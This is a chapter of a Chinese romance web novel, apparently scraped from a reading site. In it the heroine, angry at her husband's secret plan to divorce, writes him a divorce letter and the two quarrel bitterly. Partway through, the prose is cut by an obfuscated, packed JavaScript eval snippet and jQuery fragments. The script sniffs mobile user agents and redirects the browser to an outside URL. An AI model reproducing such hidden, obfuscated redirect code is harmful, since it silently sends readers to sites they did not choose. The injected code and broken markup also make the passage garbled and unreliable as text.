36. 第 36 章

作品:《夫君今天逃婚成功了吗

    时已二月,深冬正慢慢褪去,午后演武场的日头逐渐灼人。场上,一青一蓝两道身影兔起鹘落,剑光交织。


    崔执瑶手持长剑,招式凌厉,不留余地地攻向陶肃。陶肃勉强接了几式,剑刃相击,震得他虎口发麻,心中叫苦不迭——今日师妹出手怎地这般狠厉不留情面?早知如此,就不该应下这场切磋。


    他心念甫动,崔执瑶的剑已携着破风之声直刺而来,不容他喘息。陶肃仓促旋身闪避,因这刹那的分神,彻底失了先机。不过又走了三五招,陶肃再欲寻隙反击,却觉喉间一凉。


    崔执瑶的剑尖,已停在他咽喉前半寸之处。


    陶肃僵立不动。


    崔执瑶撤剑归鞘,面上没什么表情:“再来。”


    陶肃揉着发麻的手腕:“你今天吃炮仗了?”


    陶肃吓了一跳,慌忙举剑格挡,心中那点调侃顿时烟消云散。这一次,他败得更快,不过七八招,手中长剑便被崔执瑶巧妙一挑,脱手飞出,落在地上。


    眼见崔执瑶提剑又要上前,陶肃连忙后退两步:“不来了不来了!我认输!”


    在剑术上,他一向不如崔执瑶,认输也没什么。


    崔执瑶见状,将剑收回,走到一旁取布巾默默擦汗。


    陶肃小心翼翼地凑近:“是纪文焕吧?”


    崔执瑶脾气不算好,却也不易真正动怒。在山寨里,她与人交往大多疏淡,能把她惹到需要靠拼剑来发泄的,除了自己,恐怕也只有纪文焕了。


    崔执瑶抿唇不语。


    陶肃见状,心中更确定了几分:“师妹啊师妹,叫我说你什么好?早跟你说过,那纪文焕就是个招事的灾星。眼下寨子虽然定下招安,可这一路风波,不还是他带来的?你若早听我的……”


    崔执瑶已仰头喝着水囊里的水了,闻言,手背随意抹去唇角水渍,另一只手无声无息摸向腰间。下一瞬,一道寒光擦着陶肃的颈侧“夺”一声钉入他身后的木桩。


    陶肃的话戛然而止。


    崔执瑶看也不看他,上前拔回匕首,径自走了。


    陶肃怔了好一会儿,才摸着脖子喃喃自语:“纪文焕这是犯天条了?”


    ---


    崔执瑶提着剑回到小院时,纪文焕已回来,正坐在院中石凳上捧书翻阅。


    见她进门,他放下书卷起身:“怎么才回来?”


    目光落在她手中长剑上,又道:“去找陶肃切磋了?”


    随即,他眉头蹙起,看向她身上袖口墨渍已干的衣衫,“怎么不先回来换身衣裳?”


    他一连串问完,却发现崔执瑶只是平静看着他,一言不发。


    或许是从未见过她这般沉寂,纪文焕心底掠过一丝不安,声音放柔:“怎么了?可是累了?”


    崔执瑶深吸一口气,强压下翻涌的心绪,声音尽量放得平常:“我爹找你,是商议什么事?”


    纪文焕喉结滚动了一下,面上神色如常:“聊了招安后续的流程,朝廷可能的行事,我们该如何应对。聊得细致,耽误了些时辰。怎么忽然问起这个?”


    崔执瑶看着他这副看似坦然的模样,忽觉有些可笑,但终究没笑出来,只摇了摇头:“没什么,随便问问。”


    纪文焕正自纳闷,却见崔执瑶已转身,朝嘉音的房间走去。


    “嘉音这会儿不在。”他提醒道。


    “哦,”崔执瑶脚步未停,“我去她那儿歇会儿。”


    纪文焕愣住了,下意识拉住她的手腕:“你去她那儿……歇息?”


    崔执瑶停下,侧过头,目光无波无澜:“有何不妥吗?”


    那眼神太过平淡,让纪文焕心头古怪不安的情绪愈发强烈。


    他张了张嘴,最终还是松开了手,低声道:“……没有。”


    崔执瑶点点头,推门进嘉音屋子,反手带上门。


    纪文焕站在原地,望着那扇合拢的房门,眉头越拧越紧。


    崔执瑶平日……明明巴不得同他黏在一处。除非自己哪里惹她不快,否则她绝不会去别处歇息。


    他仔细回想这几日,自认并无不妥。若硬要说有什么……


    便是今日在主寨与寨主的那番谈话。可那件事,他自认考虑周全,且尚未向她透露分毫,她理应不知情。


    可她方才特意问起……难道是听到了什么风声?


    纪文焕在院中踱了几步,心头困惑越来越深,终究按捺不住,走到嘉音房门外,抬手轻叩。


    “谁?”


    “是我。”


    屋内沉默片刻,她的声音冷下几分:“何事?”


    纪文焕隔着门板,小心问道:“我是不是哪里惹你生气了?你若心中不快,直接同我说便是,何必避而不见?”


    “你想多了。”


    纪文焕心底冷笑:我若真信了你这话,才是眼瞎了。


    他将手轻轻搭在门框上,试探着问:“你方才问起寨主寻我何事……可是听到了什么闲言?”


    崔执瑶语气嘲弄:“在你心里,我就是一个爱听信闲话的人?”


    “我不是这个意思!”


    纪文焕脱口否认,随即意识到失言了,心中懊恼。


    崔执瑶的确不是爱捕风捉影的人。可今日她这般反常,定是有缘故的。


    他叹了口气,语气软下来:“我只是想知道,你为何忽然歇在嘉音这里。”


    屋内,抱剑倚窗而立的崔执瑶听到他的询问,眼神有一瞬间的错愕。


    但这并未让她好受半分。她闭上眼,脑海里反复回响的,是他在父亲面前冷静说出的“唯有和离”四字。如今门外这小心翼翼的关切,听在耳中,只觉无比讽刺。


    那般理智,那般周全。


    现在却又在这里,用这样的语气同她说话?


    都要走了,甚至已经盘算好如何和离了,现在做这些,是想哄着她,让她毫无察觉,再悄然脱身吗?


    想起他从前几次逃跑未遂,那些别别扭扭的讨好,崔执瑶心底冷笑一声。


    而他方才在院中,对她的问话故作隐瞒,更让她心头泛冷。他不愿说,是怕自己知道了,会阻止他离去?他莫不是还想直接将和离书留给父亲,再自己一走了之?


    崔执瑶闭上眼,胸口闷得发慌。


    门外,纪文焕的声音再次传来,带着坚持:“崔执瑶……”


    崔执瑶睁开眼,烦躁道:


    “滚。”


    门外顿时安静了。


    晚上,屋里早早便点上了灯。


    用过晚饭、沐过浴,三个姑娘挤在一张床上说话。


    先前映月见崔执瑶只找嘉音不找自己,悄悄酸了好一会儿。崔执瑶拿她没办法,干脆提议今晚一起睡。


    三人围坐在一起,嘉音先轻声开口:“小姐,您和姑爷……究竟是怎么了?”


    崔执瑶没打算瞒她们:“他要跟我和离。”


    映月神色平静,嘉音却吃了一惊:“怎么会……”


    崔执瑶看看两人截然不同的反应,有些好笑:“你们怎么一个这么惊讶,一个倒像早有预料?”


    映月直言不讳:“姑爷先前不就总想跑么?想和离也不稀奇。”


    崔执瑶“嗯”了一声,没再接话。


    她心里也清楚,可为什么还是这样难受,这样生气呢?


    嘉音犹豫片刻,小声说:“可我总觉得……纪先生是喜欢小姐的。”


    这话一出,崔执瑶和映月齐刷刷看向她,目光满是“你在说什么胡话”。


    嘉音左右看看,寻不到知音,便也识趣地闭了嘴。


    崔执瑶沉默了一会儿,忽然问:“嘉音,你会写字,那你会写和离书吗?”


    嘉音猝不及防:“啊?”


    崔执瑶垂下眼睫,声音低了些:“其实仔细想想,当初见他生得好看,强把他掳上山的是我;他想逃,一脚把他踹下山崖的也是我。若换作我是他,恐怕恨我都来不及,怎么可能真心实意想同我过日子。”


    她抬起头,语气努力装得洒脱,“山寨既已决定招安,他一心要走,我也拦不住。不如早些放他自由,也省得听他说些虚情假意的话。”


    嘉音与映月又对视一眼,都有些担忧。


    但崔执瑶心意已决。三人当真下了床,崔执瑶和映月围在桌边,为嘉音研墨铺纸,看她提笔书写。


    不多时,一纸和离书便写好了。嘉音吹干墨迹,递过来。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078501|193392||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    纸上的字迹清秀工整,崔执瑶看着,心想:难怪纪文焕总瞧不上我那手狗爬字。随即啐了自己一口——谁在乎他瞧不瞧得上!


    “小姐,”嘉音确认地问,“您真的想好了?”


    崔执瑶眼神一凝,指尖微微收紧,语气坚决:“想好了。”


    她起身穿好外衣,拿着那张和离书,走向纪文焕的房间。


    敲门声刚落,门就开了。


    纪文焕站在门内,眼中掠过一丝来不及掩藏的亮光:“崔执瑶……”


    他话未说完,崔执瑶已将手中对折的纸笺径直丢入他怀里。


    纪文焕手忙脚乱地接住,一边展开一边问:“这是什么……”


    待看清“和离书”三个字,他脸色骤然变了,抬眼盯住她,声音变了调:“这是什么?”


    崔执瑶偏开视线:“你不是认得字吗?看不懂?”


    纪文焕攥紧纸笺:“你什么意思?”


    崔执瑶一字一句:“意思就是,婚事本是我强求,不作数了。你走吧。”


    她转身要走,手腕却被一把攥住。


    力道比以往任何一次都大,箍得她生疼。


    纪文焕将她整个人强硬地拽转回来,脸色铁青,声音压着怒意,却隐隐发颤:“崔执瑶,你当我是什么?想要就要,想丢就丢?”


    崔执瑶被他问得心头一涩,却仍硬着语气:“你这话说得倒像你不情愿似的!你不是一直想走吗?我成全你,不好吗?”


    “成全我?”纪文焕像是听到了极其荒唐的话,眼睛死死盯着她,“你怎么可以……这么痛快?”


    崔执瑶扯了扯嘴角,眼里却没什么笑意:“我痛快还不好?这不正是你一心所求的吗?”


    纪文焕气极反笑,眸子里翻涌着她看不懂的情绪:“崔执瑶,当初你不顾我意愿,将我强掳上山关在此地,和你今日说要放我走一样,都是这般轻飘飘的,仿佛只是随口一提的小事!和离书说拿就能拿出来,一点犹豫都没有……崔执瑶,你告诉我,你……真的喜欢过我吗?”


    “喜欢”二字像一块石头砸进心里,溅起层层酸涩的涟漪。


    她喜欢纪文焕吗?


    自然是喜欢的。不然为何总想靠近他,为何会因他的隐瞒而心冷,为何此刻心脏会揪紧般地疼?


    可他都要走了,喜不喜欢还有什么要紧?


    何况他有什么资格这样质问她?


    他都没喜欢过她!


    看着她陷入沉默、眼神茫然的模样,纪文焕眼里的光一点点黯下去,嘴角弯起一抹自嘲的弧度,他替她下了论断,声音低哑:“果然……你根本没喜欢过我。你只是把我当作玩物。兴致来了,就留在身边;兴致尽了,便随手踢开。”


    崔执瑶觉得他这话不对,大错特错!可混乱的思绪和堵在胸口的那团酸涩闷气,让她一时找不到反驳的言语。


    怎么到头来,反而像是她的错了?


    纪文焕看着她躲闪的眼睛,眼圈越来越红,眼中的情绪也越来越复杂,声音却轻了下去:“你平日不是最能说会道吗?现在怎么不说话了?”


    崔执瑶被他眼中那抹红刺得心口一抽,声音干涩:“我不知道该说什么。”


    都要分开了,再说这些还有什么用。


    这话落在纪文焕耳中,便成了默认,成了无可辩驳的事实。


    他神色渐愕,难以置信,攥着她手腕的力道,也一点点松了。


    他后退半步,看着眼前这个曾蛮横闯入他生命、又轻易要将他逐出的女子,仿佛第一次真正认识她。


    “崔执瑶,”他声音低得几乎听不见,“你真是……混蛋。”


    崔执瑶以为他指的是当初强掳之事,垂下眼,低声道:“……对不起。”


    这句道歉,却仿佛火上浇油。他轻轻笑了一下,那笑声短促而苍凉,更像是在嘲笑自己。


    “我真是……”他声音轻得像叹息。


    崔执瑶没听清:“什么?”


    纪文焕闭了闭眼,再睁开时,眼中所有情绪都被淹没在一片寒潭。


    他目光平静地看着她,只从唇间轻轻吐出几个字:


    “……我再也不想见到你了。”